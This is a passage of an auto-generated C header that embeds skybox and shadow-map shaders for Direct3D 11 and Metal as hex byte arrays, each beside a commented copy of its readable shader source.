0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x73,0x74,
0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x4e,0x6f,0x72,
0x6d,0x61,0x6c,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x73,0x74,
0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,
0x65,0x74,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x53,0x50,0x49,0x52,
0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x49,0x6e,0x70,0x75,0x74,0x0a,0x7b,0x0a,
0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,
0x74,0x69,0x6f,0x6e,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x30,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x4e,0x6f,
0x72,0x6d,0x61,0x6c,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x31,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x61,0x54,0x65,
0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,
0x44,0x32,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,
0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,
0x4f,0x4f,0x52,0x44,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3a,
0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x34,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,
0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,
0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x30,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,
0x74,0x69,0x6f,0x6e,0x20,0x3a,0x20,0x53,0x56,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,
0x6f,0x6e,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x76,0x6f,0x69,0x64,0x20,0x76,0x65,0x72,0x74,0x5f,0x6d,0x61,0x69,0x6e,
0x28,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,0x20,0x22,0x73,
0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,
0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,
0x20,0x20,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x61,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,0x78,0x7a,0x79,0x3b,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x32,0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,0x5f,0x50,
0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x6d,0x75,0x6c,0x28,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x28,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,
0x31,0x2e,0x30,0x66,0x29,0x2c,0x20,0x5f,0x32,0x32,0x5f,0x75,0x4d,0x6f,0x64,0x65,
0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,
0x2e,0x78,0x79,0x77,0x77,0x3b,0x0a,0x7d,0x0a,0x0a,0x53,0x50,0x49,0x52,0x56,0x5f,
0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x20,0x6d,0x61,0x69,
0x6e,0x28,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x49,0x6e,
0x70,0x75,0x74,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x29,
0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x61,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x61,0x4e,
0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,
0x70,0x75,0x74,0x2e,0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x73,0x74,0x61,
0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,
0x72,0x64,0x3b,0x0a,0x20,0x20,0x20,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,
0x6c,0x74,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,
0x2e,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,
0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,
0x72,0x74,0x5f,0x6d,0x61,0x69,0x6e,0x28,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x53,
0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,
0x74,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,
0x2e,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x67,
0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x2e,0x76,0x54,0x65,
0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,
0x72,0x64,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x73,
0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x00,
};
/*
TextureCube<float4> imageSkybox : register(t0);
SamplerState _imageSkybox_sampler : register(s0);
static float4 fragColor;
static float3 vTexCoord;
struct SPIRV_Cross_Input
{
float3 vTexCoord : TEXCOORD0;
};
struct SPIRV_Cross_Output
{
float4 fragColor : SV_Target0;
};
#line 12 "src/ek/scenex/3d/render3d.glsl"
void frag_main()
{
#line 12 "src/ek/scenex/3d/render3d.glsl"
fragColor = imageSkybox.Sample(_imageSkybox_sampler, vTexCoord);
}
SPIRV_Cross_Output main(SPIRV_Cross_Input stage_input)
{
vTexCoord = stage_input.vTexCoord;
frag_main();
SPIRV_Cross_Output stage_output;
stage_output.fragColor = fragColor;
return stage_output;
}
*/
static const char fs_skybox_source_hlsl5[675] = {
0x54,0x65,0x78,0x74,0x75,0x72,0x65,0x43,0x75,0x62,0x65,0x3c,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x3e,0x20,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x20,
0x3a,0x20,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x28,0x74,0x30,0x29,0x3b,0x0a,
0x53,0x61,0x6d,0x70,0x6c,0x65,0x72,0x53,0x74,0x61,0x74,0x65,0x20,0x5f,0x69,0x6d,
0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x73,0x61,0x6d,0x70,0x6c,0x65,
0x72,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x28,0x73,0x30,0x29,
0x3b,0x0a,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,
0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x3b,0x0a,0x73,0x74,0x61,0x74,
0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x53,0x50,0x49,
0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x49,0x6e,0x70,0x75,0x74,0x0a,0x7b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x54,0x65,0x78,
0x43,0x6f,0x6f,0x72,0x64,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,
0x30,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x53,0x50,
0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,
0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,0x72,
0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3a,0x20,0x53,0x56,0x5f,0x54,0x61,0x72,
0x67,0x65,0x74,0x30,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x31,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x76,0x6f,0x69,0x64,0x20,0x66,0x72,0x61,0x67,0x5f,0x6d,0x61,
0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x32,0x20,
0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,
0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,
0x0a,0x20,0x20,0x20,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,
0x20,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x2e,0x53,0x61,0x6d,
0x70,0x6c,0x65,0x28,0x5f,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,
0x5f,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x2c,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,
0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,
0x28,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x49,0x6e,0x70,
0x75,0x74,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x29,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,
0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x76,0x54,
0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x72,0x61,
0x67,0x5f,0x6d,0x61,0x69,0x6e,0x28,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x53,0x50,
0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,
0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x2e,
0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x66,0x72,0x61,0x67,
0x43,0x6f,0x6c,0x6f,0x72,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,
0x6e,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,0x0a,
0x7d,0x0a,0x00,
};
#endif /* SOKOL_D3D11 */
#if defined(SOKOL_METAL)
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct vs_shadow_map_params
{
float4x4 uModelViewProjection;
};
struct main0_out
{
float2 projZW [[user(locn0)]];
float4 gl_Position [[position]];
};
struct main0_in
{
float3 aPosition [[attribute(0)]];
};
#line 18 "src/ek/scenex/3d/render3d.glsl"
vertex main0_out main0(main0_in in [[stage_in]], constant vs_shadow_map_params& _21 [[buffer(0)]])
{
main0_out out = {};
#line 18 "src/ek/scenex/3d/render3d.glsl"
out.gl_Position = _21.uModelViewProjection * float4(in.aPosition, 1.0);
out.projZW = out.gl_Position.zw;
return out;
}
*/
static const char vs_shadow_map_source_metal_macos[639] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x76,
0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,
0x78,0x34,0x20,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,
0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,
0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,0x7b,0x0a,
0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,
0x57,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,
0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,
0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x5b,0x5b,0x70,0x6f,0x73,0x69,
0x74,0x69,0x6f,0x6e,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,
0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,
0x6f,0x6e,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x30,
0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,
0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x76,0x65,0x72,0x74,0x65,0x78,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,
0x5d,0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x76,0x73,0x5f,
0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x26,0x20,0x5f,0x32,0x31,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,
0x30,0x29,0x5d,0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,
0x30,0x5f,0x6f,0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,
0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,
0x5f,0x32,0x31,0x2e,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,
0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x28,0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,
0x31,0x2e,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x70,0x72,
0x6f,0x6a,0x5a,0x57,0x20,0x3d,0x20,0x6f,0x75,0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,
0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,0x7a,0x77,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#pragma clang diagnostic ignored "-Wmissing-prototypes"
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct main0_out
{
float4 fragColor [[color(0)]];
};
struct main0_in
{
float2 projZW [[user(locn0)]];
};
#line 10 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float4 encodeDepth(thread const float& v)
{
#line 10 "src/ek/scenex/3d/render3d.glsl"
float4 _25 = fract(float4(1.0, 255.0, 65025.0, 16581375.0) * v);
return _25 - (_25.yzww * float4(0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0));
}
#line 17 "src/ek/scenex/3d/render3d.glsl"
fragment main0_out main0(main0_in in [[stage_in]])
{
main0_out out = {};
#line 17 "src/ek/scenex/3d/render3d.glsl"
float param = in.projZW.x / in.projZW.y;
out.fragColor = encodeDepth(param);
return out;
}
*/
static const char fs_shadow_map_source_metal_macos[903] = {
0x23,0x70,0x72,0x61,0x67,0x6d,0x61,0x20,0x63,0x6c,0x61,0x6e,0x67,0x20,0x64,0x69,
0x61,0x67,0x6e,0x6f,0x73,0x74,0x69,0x63,0x20,0x69,0x67,0x6e,0x6f,0x72,0x65,0x64,
0x20,0x22,0x2d,0x57,0x6d,0x69,0x73,0x73,0x69,0x6e,0x67,0x2d,0x70,0x72,0x6f,0x74,
0x6f,0x74,0x79,0x70,0x65,0x73,0x22,0x0a,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,
0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,
0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,
0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,
0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,
0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,
0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x5b,0x5b,0x63,0x6f,0x6c,0x6f,0x72,
0x28,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,
0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x20,0x5b,
0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,0x3b,0x0a,
0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x30,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,
0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,
0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,
0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x65,0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x74,0x68,
0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x26,0x20,0x76,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x30,0x20,
0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,
0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,0x35,0x20,
0x3d,0x20,0x66,0x72,0x61,0x63,0x74,0x28,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x31,
0x2e,0x30,0x2c,0x20,0x32,0x35,0x35,0x2e,0x30,0x2c,0x20,0x36,0x35,0x30,0x32,0x35,
0x2e,0x30,0x2c,0x20,0x31,0x36,0x35,0x38,0x31,0x33,0x37,0x35,0x2e,0x30,0x29,0x20,
0x2a,0x20,0x76,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x5f,0x32,0x35,0x20,0x2d,0x20,0x28,0x5f,0x32,0x35,0x2e,0x79,0x7a,0x77,0x77,
0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x30,0x2e,0x30,0x30,0x33,0x39,
0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,
0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,
0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,
0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,
0x30,0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,
0x38,0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,
0x35,0x2c,0x20,0x30,0x2e,0x30,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x72,0x61,0x67,0x6d,0x65,0x6e,0x74,0x20,
